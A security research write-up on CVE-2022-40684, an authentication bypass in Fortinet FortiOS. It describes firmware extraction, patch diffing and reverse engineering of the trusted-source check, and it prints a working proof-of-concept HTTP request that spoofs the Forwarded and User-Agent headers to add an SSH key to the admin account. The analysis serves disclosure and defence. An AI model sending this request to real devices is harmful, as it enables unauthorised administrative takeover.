Introduction
Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system. To demonstrate the vulnerability in this writeup, we will be using FortiOS version 7.2.1.
POC
Let’s examine the inner workings of this vulnerability. You can find our POC here. The vulnerability is used below to add an SSH key to the admin user, enabling an attacker to SSH into the effected system as admin.
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by=”[127.0.0.1]:9000″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected]\”” }
Deep Dive
FortiOS exposes a management web portal that allows a user configure the system. Additionally, a user can SSH into the system which exposes a locked down CLI interface. Our first step after familiarizing ourselves with the system was to diff the vulnerable firmware with the patched firmware.
Firmware Examination
We obtained a VMware zip file of the firmware which contained two vmdk files. First, we examined the vmdk files with virt-filesystems
and mounted them with guestmount
:
$>ls *.vmdk
datadrive.vmdk fortios.vmdk
$>sudo virt-filesystems --filesystems -a fortios.vmdk
/dev/sda1
$>sudo mkdir fortios_mount
$>sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount
$>cd fortios_mount
$>ls
boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys lost+found rootfs.gz rootfs.gz.chk
Next, we extract the root filesystem where we find a hand full of .tar.xz files:
$>sudo cp ../fortios_mount/rootfs.gz .
$>gunzip rootfs.gz
$>cpio -i 2> /dev/null < rootfs
$>ls
bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk var
Interestingly, attempting to decompress the xz files fail with corruption errors:
$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
Its unclear if this is an attempt at obfuscation, but we find a version of xz in the sbin folder of the firmware. We can’t run it as is, but we can patch its linker to point to our system linker to finally decompress the files:
$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
$>find . -name xz
./sbin/xz
$>./sbin/xz --decompress *.xz
bash: ./sbin/xz: No such file or directory
$>file ./sbin/xz
./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped
$>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
$>./sbin/xz --decompress *.xz
$>ls *.tar
bin.tar migadmin.tar node-scripts.tar usr.tar
Next, we untar the files and begin examining their contents. We find /bin
contains a large collection of binaries, many of which are symlinks to /bin/init
. The migadmin
folder appears to contain the frontend web code for the administrative interface. The node-scripts
folder appears to contain a NodeJs backend for the administrative interface. Lastly, the usr
folder contains a libaries folder and an apache2
configuration folder.
The Patch
We apply the same steps to firmware version 7.2.2 to enable diffing of the filesystems. In the bin
folder, we find the large init
binary has changed and in the node-scripts
folder we find the index.js
file has changed:
index.js diff
This diff shows that the httpsd
proxy handler explicitly sets the forwarded
, x-forwarded-vdom
, and x-forwarded-cert
headers. This gives us a hint as to where to start looking for clues on how to exploit this vulnerability.
HTTPSD and Apache Handlers
After some searching, we discover that the init binary we mentioned earlier contains some strings matching the headers in the NodeJs diff. This init binary is rather large and appears to have a lot of functionality including Apache hooks and handlers for various management REST API endpoints. To aid in our research, we SSH’d into the system and enabled debug output for the httpsd
process:
fortios_7_2_1 # diagnose debug enable
fortios_7_2_1 # diagnose debug application httpsd -1
Debug messages will be on for 5 minutes.
fortios_7_2_1 # diagnose debug cli 8
Debug messages will be on for 5 minutes.
While investigating the forwarded
header, we find an apache access_check_ex
hook that parses the header, extracts the for
and by
fields, and attaches them to the Apache request_rec
structure. You can see that the for
field allows us to set the client_ip
field on the request record’s connection.
forwarded header parsing
Additionally, we see a log message that mentioned which handler is used for a particular request.
[httpsd 12478 - 1665412044 info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request
After searching for the handler string, we find an array of handlers in the init binary:
hander array
After investigating some of the handlers, we find that many of them make a call to a function we named api_check_access
:
api_check_access
We were immediately drawn to api_check_access_for_trusted_source
which first checks if the vdom socket option is trusted, but then falls through to a function we called is_trusted_ip_and_user_agent
.
is_trusted_ip_and_user_agent
You can see that this function checks that the client_ip
is “127.0.01” and that the User-Agent
header matches the second parameter. This function gets called with two possible parameters: “Node.js” and “Report Runner”. The “Node.js” path seems to perform some additional validation, but using “Report Runner” allows us to bypass authentication and perform API requests!
Weaponization
The ability to make unauthenticated request to the the REST API is extremely powerful. However, we noticed that we could not add or change the password for the admin user. To get around this we updated the admin users SSH-keys to allow us to SSH to the target as admin. See our original announcement.
Summary
To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerabilty:
- Using the Fowarded header an attacker is able to set the
client_ip
to “127.0.0.1”. - The “trusted access” authentication check verifies that the
client_ip
is “127.0.0.1” and theUser-Agent
is “Report Runner” both of which are under attacker control.
Any HTTP requests to the management interface of the system that match the conditions above should be cause for concern. An attacker can use this vulnerability to do just about anything they want to the vulnerable system. This includes changing network configurations, adding new users, and initiating packet captures. Note that this is not the only way to exploit this vulnerability and there may be other sets of conditions that work. For instance, a modified version of this exploit uses the User-Agent
“Node.js”. This exploit seems to follow a trend among recently discovered enterprise software vulnerabilities where HTTP headers are improperly validated or overly trusted. We have seen this in recent F5 and VMware vulnerabilities.